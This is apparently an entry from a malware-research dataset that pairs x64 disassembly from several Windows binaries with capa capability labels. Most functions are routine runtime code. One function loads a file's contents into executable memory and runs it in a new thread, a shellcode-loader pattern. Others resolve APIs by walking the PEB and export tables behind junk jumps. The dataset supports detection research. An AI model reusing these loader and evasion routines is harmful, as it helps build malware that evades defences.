joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400271e0
Capabilities:
Set environment variable

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x90
mov rax, qword [0x140063bc0]
xor rax, rsp
mov qword [rsp + 0x80], rax
movzx eax, byte [rcx]
lea rbx, [rsp + 0x30]
xor r14d, r14d
mov rbp, rdx
mov word [rsp + 0x30], r14w
mov rsi, rcx
mov edi, 0x28
test al, al
je 0x140027291
nop word [rax + rax]
mov r8d, 2
mov byte [rsp + 0x20], al
lea rdx, [rsp + 0x20]
mov byte [rsp + 0x21], r14b
lea rcx, [rsp + 0x24]
call fcn.1400368e4
cmp rax, 1
jne 0x1400272c7
mov rcx, rdi
mov rax, rbx
cmp word [rbx], r14w
je 0x14002726d
add rax, 2
dec rcx
cmp word [rax], r14w
jne 0x140027260
cmp rcx, 1
jb 0x1400272c7
movzx ecx, word [rsp + 0x24]
inc rsi
mov word [rax], cx
add rbx, 2
mov word [rax + 2], r14w
dec rdi
movzx eax, byte [rsi]
test al, al
jne 0x140027230
mov rdx, rbp
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.140027640
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
call fcn.14002ae00
int3

Function at 0x1400274c0
Capabilities:
Set environment variable

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x90
mov rax, qword [0x140063bc0]
xor rax, rsp
mov qword [rsp + 0x80], rax
movzx eax, byte [rcx]
lea rbx, [rsp + 0x30]
xor ebp, ebp
mov rsi, rcx
mov word [rsp + 0x30], bp
mov edi, 0x28
test al, al
je 0x14002756f
nop dword [rax]
nop dword [rax + rax]
mov r8d, 2
mov byte [rsp + 0x20], al
lea rdx, [rsp + 0x20]
mov byte [rsp + 0x21], bpl
lea rcx, [rsp + 0x24]
call fcn.1400368e4
cmp rax, 1
jne 0x1400275a5
mov rcx, rdi
mov rax, rbx
cmp word [rbx], bp
je 0x14002754c
nop
add rax, 2
dec rcx
cmp word [rax], bp
jne 0x140027540
cmp rcx, 1
jb 0x1400275a5
movzx ecx, word [rsp + 0x24]
inc rsi
mov word [rax], cx
add rbx, 2
mov word [rax + 2], bp
dec rdi
movzx eax, byte [rsi]
test al, al
jne 0x140027510
xor edx, edx
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.140027640
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
call fcn.14002ae00
int3

Function at 0x1400280a8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400280f2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400280f2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400280f2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400280f2
cmp dword [rcx + 0x84], 0xe
jbe 0x1400280f2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400280f4
xor al, al
add rsp, 0x28
ret
Function at 0x14002c474
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14002c4e3
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14002c4e3
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14002c4e3
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14002c4e3
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14002c4e3
cmp dword [rcx + 0x84], 0xe
jbe 0x14002c4e3
cmp dword [rcx + 0xf8], 0
je 0x14002c4e3
mov ecx, ebx
call fcn.14002c594
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14002c370
nop
cmp dword [rbp + 0x20], 0
je 0x14002c531
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14002c53c
int3
xor r8d, r8d
xor edx, edx
jmp 0x14002c474

Function at 0x14002c678
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14002c4e3
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14002c4e3
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14002c4e3
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14002c4e3
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14002c4e3
cmp dword [rcx + 0x84], 0xe
jbe 0x14002c4e3
cmp dword [rcx + 0xf8], 0
je 0x14002c4e3
mov ecx, ebx
call fcn.14002c594
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14002c370
nop
cmp dword [rbp + 0x20], 0
je 0x14002c531
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14002c53c
int3
xor r8d, r8d
xor edx, edx
jmp 0x14002c474
Function at 0x14003e1d0
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x14003e257
mov rsi, rbx
cmp word [rax], bp
je 0x14003e216
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x14003e200
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x14003e1fc
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.140039838
mov rdi, rax
test rax, rax
je 0x14003e244
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140043e90
mov rbp, rdi
xor ecx, ecx
call fcn.14003a380
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140040500
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x140040516
mov al, 1
jmp 0x140040576
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x140040527
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x140040574
mov ecx, dword [rcx + 0x18]
nop
call fcn.14003e518
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140040574
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x140040574
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140040574
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x140040576
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x140043ce0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140043d08
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140043d08
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001060
Capabilities:
Initialize winsock library

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x200
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1f0], rax
mov ebx, r9d
lea r8, [0x14001edc0]
mov r9d, 0x64
mov rdi, rcx
lea edx, [r9 + 3]
call qword [sym.imp.USER32.dll_LoadStringW]
mov r9d, 0x64
lea r8, [0x14001ecf0]
mov rcx, rdi
lea edx, [r9 + 9]
call qword [sym.imp.USER32.dll_LoadStringW]
mov rcx, rdi
call fcn.140001180
mov ecx, 0x202
lea rdx, [rsp + 0x50]
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov edx, ebx
mov rcx, rdi
call fcn.140001410
test eax, eax
je 0x140001158
mov edx, 0x6d
mov rcx, rdi
call qword [sym.imp.USER32.dll_LoadAcceleratorsW]
mov rbx, rax
call fcn.140001230
xor r9d, r9d
lea rcx, [rsp + 0x20]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x140001154
nop dword [rax]
mov rcx, qword [rsp + 0x20]
lea r8, [rsp + 0x20]
mov rdx, rbx
call qword [sym.imp.USER32.dll_TranslateAcceleratorW]
test eax, eax
jne 0x14000113d
lea rcx, [rsp + 0x20]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rsp + 0x20]
call qword [sym.imp.USER32.dll_DispatchMessageW]
xor r9d, r9d
lea rcx, [rsp + 0x20]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
jne 0x140001110
mov eax, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x1f0]
xor rcx, rsp
call fcn.1400015d0
mov rbx, qword [rsp + 0x218]
add rsp, 0x200
pop rdi
ret
Function at 0x140001230
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Read file on windows
Spawn thread to rwx shellcode

Disassembly:
push rdi
sub rsp, 0x9c0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x9b0], rax
xor edx, edx
lea rcx, [rsp + 0x1b0]
mov r8d, 0x800
call fcn.1400025d0
xor edx, edx
lea rcx, [rsp + 0x30]
mov r8d, 0x105
call fcn.1400025d0
mov r8d, 0x104
lea rdx, [rsp + 0x30]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edx, 0x5c
lea rcx, [rsp + 0x30]
call fcn.140002230
mov byte [rax + 1], 0
lea rax, [rsp + 0x30]
dec rax
cmp byte [rax + 1], 0
lea rax, [rax + 1]
jne 0x1400012a0
movsd xmm0, qword [str.888.txt]
lea rdx, [0x14001ad38]
lea rcx, [rsp + 0x30]
movsd qword [rax], xmm0
call fcn.1400044ec
mov rdi, rax
test rax, rax
je 0x1400013f3
xor edx, edx
mov qword [rsp + 0x9d0], rbx
mov rcx, rax
mov qword [rsp + 0x9d8], rsi
lea r8d, [rdx + 2]
call fcn.14000476c
mov rcx, rdi
call fcn.140004c50
xor edx, edx
movsxd rbx, eax
mov r8d, 0x800
lea rcx, [rsp + 0x1b0]
call fcn.1400025d0
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call fcn.14000476c
mov r8, rbx
lea rcx, [rsp + 0x1b0]
mov r9, rdi
mov edx, 1
call fcn.140004ed8
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov rcx, rax
mov r9d, 0x3000
mov r8d, 0x2000
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
test rax, rax
je 0x1400013db
mov r9d, 0x800
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x1b0]
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400013db
mov qword [rsp + 0x28], 0
xor r9d, r9d
mov r8, rbx
mov dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
jne 0x1400013d2
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.hehe_o_d_n
lea rcx, [rsp + 0x140]
call fcn.140001000
jmp 0x1400013db
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call fcn.140005024
mov rbx, qword [rsp + 0x9d0]
mov rsi, qword [rsp + 0x9d8]
mov rcx, qword [rsp + 0x9b0]
xor rcx, rsp
call fcn.1400015d0
add rsp, 0x9c0
pop rdi
ret
Function at 0x140005c1c
Capabilities:
Parse pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0x20
mov esi, r8d
mov ebx, edx
mov r14d, ecx
test r8d, r8d
jne 0x1400059f0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400059f0
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400059f0
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400059f0
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400059f0
cmp dword [rcx + 0x84], 0xe
jbe 0x1400059f0
cmp dword [rcx + 0xf8], esi
je 0x1400059f0
mov ecx, r14d
call fcn.140005b38
mov ecx, 2
call fcn.14000ba44
nop
cmp byte [0x14001e410], 0
jne 0x140005aba
mov r15d, 1
mov eax, r15d
xchg dword [0x14001e404], eax
test ebx, ebx
jne 0x140005a63
mov rdi, qword [section..data]
mov edx, edi
and edx, 0x3f
lea ecx, [rbx + 0x40]
sub ecx, edx
xor eax, eax
ror rax, cl
xor rax, rdi
mov rcx, qword [0x14001e408]
cmp rcx, rax
je 0x140005a5a
xor rdi, rcx
mov ecx, edx
ror rdi, cl
mov rcx, rdi
call qword [fcn.1400027e4]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rdi
lea rcx, [0x14001e420]
jmp 0x140005a6f
cmp ebx, r15d
jne 0x140005a75
lea rcx, [0x14001e438]
call fcn.14000623c
nop
test ebx, ebx
jne 0x140005a8c
lea rdx, [0x140013378]
lea rcx, [0x140013358]
call fcn.1400058b0
lea rdx, [0x140013388]
lea rcx, [0x140013380]
call fcn.1400058b0
movzx eax, byte [0x14001e410]
test esi, esi
cmove eax, r15d
mov byte [0x14001e410], al
jmp 0x140005aba
mov ecx, 2
call fcn.14000ba98
test esi, esi
jne 0x140005ad1
mov ecx, r14d
call fcn.140005aec
int3
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop r15
ret
xor r8d, r8d
xor edx, edx
jmp 0x140005980
Function at 0x14000a5ac
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov qword [rax + 8], rcx
push rbp
mov rbp, rsp
sub rsp, 0x20
test rcx, rcx
jne 0x14000a44c
call fcn.140006cc0
mov dword [rax], 0x16
call fcn.140006ba0
or eax, 0xffffffff
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop rbp
ret
mov eax, dword [rcx + 0x14]
shr eax, 0xd
test al, 1
je 0x14000a434
mov rax, qword [rbp + 0x10]
mov ecx, dword [rax + 0x14]
shr ecx, 0xc
test cl, 1
jne 0x14000a434
mov rax, qword [rbp + 0x10]
mov ecx, dword [rax + 0x14]
mov rax, qword [rbp + 0x10]
shr ecx, 1
test cl, 1
je 0x14000a47e
lock or dword [rax + 0x14], 0x10
jmp 0x14000a434
lock or dword [rax + 0x14], 1
mov rax, qword [rbp + 0x10]
mov ecx, dword [rax + 0x14]
test ecx, 0x4c0
jne 0x14000a49b
mov rcx, qword [rbp + 0x10]
call fcn.1400105dc
mov rax, qword [rbp + 0x10]
mov rcx, qword [rax + 8]
mov qword [rax], rcx
mov rbx, qword [rbp + 0x10]
mov rcx, rbx
call fcn.1400092b4
mov rdx, qword [rbp + 0x10]
mov ecx, eax
mov r8d, dword [rdx + 0x20]
mov rdx, qword [rdx + 8]
call fcn.140009e84
mov dword [rbx + 0x10], eax
mov rax, qword [rbp + 0x10]
mov edx, dword [rax + 0x10]
lea ecx, [rdx + 1]
cmp ecx, 1
ja 0x14000a4f2
neg edx
sbb ecx, ecx
and ecx, 8
add ecx, 8
lock or dword [rax + 0x14], ecx
mov rax, qword [rbp + 0x10]
and dword [rax + 0x10], 0
jmp 0x14000a434
mov ecx, dword [rax + 0x14]
test cl, 6
jne 0x14000a55e
mov rcx, qword [rbp + 0x10]
call fcn.1400092b4
cmp eax, 0xffffffff
je 0x14000a545
mov rcx, qword [rbp + 0x10]
call fcn.1400092b4
cmp eax, 0xfffffffe
je 0x14000a545
mov rbx, qword [rbp + 0x10]
mov rcx, rbx
call fcn.1400092b4
movsxd rdi, eax
lea rsi, [0x14001e610]
mov rcx, rbx
sar rdi, 6
call fcn.1400092b4
and eax, 0x3f
shl rax, 6
add rax, qword [rsi + rdi*8]
jmp 0x14000a54c
lea rax, [0x14001d160]
mov al, byte [rax + 0x38]
and al, 0x82
cmp al, 0x82
jne 0x14000a55e
mov rax, qword [rbp + 0x10]
lock or dword [rax + 0x14], 0x20
mov rax, qword [rbp + 0x10]
cmp dword [rax + 0x20], 0x200
jne 0x14000a594
mov ecx, dword [rax + 0x14]
shr ecx, 6
test cl, 1
je 0x14000a590
mov rax, qword [rbp + 0x10]
mov ecx, dword [rax + 0x14]
shr ecx, 8
test cl, 1
jne 0x14000a590
mov rax, qword [rbp + 0x10]
mov dword [rax + 0x20], 0x1000
mov rax, qword [rbp + 0x10]
dec dword [rax + 0x10]
mov rcx, qword [rax]
movzx edx, byte [rcx]
inc rcx
mov qword [rax], rcx
mov eax, edx
jmp 0x14000a437
jmp 0x14000a404
Function at 0x1800022e0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
movsxd rax, dword [rcx + 0x3c]
mov ebp, dword [0x180020a84]
lea r11d, [rbp - 1]
imul r11d, ebp
cmp dword [rcx + rax + 0x8c], 0
mov r8d, dword [0x180020a88]
je 0x180002362
mov eax, dword [rcx + rax + 0x88]
cmp r8d, 0xa
jl 0x180002322
mov ebp, r11d
and ebp, 1
je 0x180002322
jmp 0x180002320
cmp dword [rcx + rax + 0x14], 0
je 0x180002362
mov r9d, dword [rcx + rax + 0x18]
test r9d, r9d
je 0x180002362
mov r10d, dword [rcx + rax + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180002382
mov esi, dword [0x180020a90]
lea edi, [rsi - 1]
imul edi, esi
and edi, 1
je 0x180002382
nop word cs:[rax + rax]
nop dword [rax]
jmp 0x180002360
xor ecx, ecx
cmp r8d, 0xa
jl 0x1800023ef
mov eax, r11d
and eax, 1
je 0x1800023ef
nop word cs:[rax + rax]
jmp 0x180002380
add r10, rcx
mov r15d, dword [rcx + rax + 0x20]
mov r14d, dword [rcx + rax + 0x24]
add r15, rcx
add r14, rcx
xor edi, edi
nop word [rax + rax]
mov esi, dword [r15]
add rsi, rcx
xor eax, eax
nop dword [rax + rax]
movzx ebx, byte [rdx + rax]
movzx ebp, byte [rsi + rax]
test bl, bl
je 0x1800023c5
add rax, 1
cmp bl, bpl
je 0x1800023b0
cmp bl, bpl
je 0x1800023e4
add edi, 1
add r15, 4
add r14, 2
cmp edi, r9d
jne 0x1800023a0
xor ecx, ecx
cmp r8d, 0xa
jge 0x1800023f5
jmp 0x180002402
movzx eax, word [r14]
mov eax, dword [r10 + rax*4]
add rcx, rax
cmp r8d, 0xa
jl 0x180002402
and r11d, 1
je 0x180002402
nop dword [rax + rax]
jmp 0x180002400
mov rax, rcx
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret

Function at 0x180002410
Capabilities:
Access peb ldr_data

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
cmp dword [0x180020a94], 0xa
jl 0x180002442
mov eax, dword [0x180020a98]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
je 0x180002442
nop word cs:[rax + rax]
jmp 0x180002440
mov rax, qword gs:[0x60]
mov r11, qword [rax + 0x18]
add r11, 0x10
mov eax, dword [0x180020a80]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp dword [0x180020a7c], 0xa
setl r8b
or r8b, al
mov eax, dword [0x180020a9c]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp dword [0x180020aa0], 0xa
setl r9b
or r9b, al
lea r10, [rcx - 1]
xor eax, eax
mov r14, r11
mov r14, qword [r14]
cmp r14, r11
je 0x180002518
mov rsi, r10
test r8b, r8b
je 0x180002530
cmp byte [rsi + 1], 0
lea rsi, [rsi + 1]
jne 0x1800024b0
test r9b, r9b
je 0x180002540
sub rsi, rcx
je 0x180002514
mov r15, qword [r14 + 0x60]
xor ebx, ebx
nop
movzx r13d, word [r15 + rbx*2]
lea edi, [r13 - 0x41]
lea ebp, [r13 + 0x20]
cmp di, 0x1a
cmovae ebp, r13d
movsx edi, byte [rcx + rbx]
lea r12d, [rdi - 0x41]
lea edx, [rdi + 0x20]
cmp r12b, 0x1a
cmovae edx, edi
sub ebp, edx
test r13d, r13d
je 0x180002510
test ebp, ebp
jne 0x180002510
add rbx, 1
cmp rsi, rbx
jne 0x1800024d0
jmp 0x180002514
test ebp, ebp
jne 0x18000249c
mov rax, qword [r14 + 0x30]
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
jmp 0x180002530
jmp 0x180002540
Function at 0x2fc4c4e70
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.2fc4c5f30
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop

Function at 0x2fc4c5872
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc4ea108]
test eax, eax
je 0x2fc4c590a
lea rax, [0x2fc4ea0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc4ea110]
mov qword [rbp - 8], rax
jmp 0x2fc4c58ee
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4c58e2
cmp qword [rbp - 0x10], 0
je 0x2fc4c58e2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4c58a8
lea rax, [0x2fc4ea0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4c590b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4c5a10
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4c5a38
mov eax, 0
jmp 0x2fc4c5a86
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4c5a61
mov eax, 0
jmp 0x2fc4c5a86
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4c5a81
mov eax, 0
jmp 0x2fc4c5a86
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4c5a8c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc4c5b0a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc4c5b01
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc4c5b01
mov rax, qword [rbp - 8]
jmp 0x2fc4c5b1f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc4c5ad4
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x180002740
Capabilities:
Access peb ldr_data

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
cmp dword [0x180020a8c], 0xa
jl 0x180002772
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
je 0x180002772
nop word cs:[rax + rax]
jmp 0x180002770
mov rax, qword gs:[0x60]
mov r11, qword [rax + 0x18]
add r11, 0x10
mov eax, dword [0x180020a78]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp dword [0x180020a74], 0xa
setl r8b
or r8b, al
mov eax, dword [0x180020a94]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp dword [0x180020a98], 0xa
setl r9b
or r9b, al
lea r10, [rcx - 1]
xor eax, eax
mov r14, r11
mov r14, qword [r14]
cmp r14, r11
je 0x180002848
mov rsi, r10
test r8b, r8b
je 0x180002860
cmp byte [rsi + 1], 0
lea rsi, [rsi + 1]
jne 0x1800027e0
test r9b, r9b
je 0x180002870
sub rsi, rcx
je 0x180002844
mov r15, qword [r14 + 0x60]
xor ebx, ebx
nop
movzx r13d, word [r15 + rbx*2]
lea edi, [r13 - 0x41]
lea ebp, [r13 + 0x20]
cmp di, 0x1a
cmovae ebp, r13d
movsx edi, byte [rcx + rbx]
lea r12d, [rdi - 0x41]
lea edx, [rdi + 0x20]
cmp r12b, 0x1a
cmovae edx, edi
sub ebp, edx
test r13d, r13d
je 0x180002840
test ebp, ebp
jne 0x180002840
add rbx, 1
cmp rsi, rbx
jne 0x180002800
jmp 0x180002844
test ebp, ebp
jne 0x1800027cc
mov rax, qword [r14 + 0x30]
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
jmp 0x180002860
jmp 0x180002870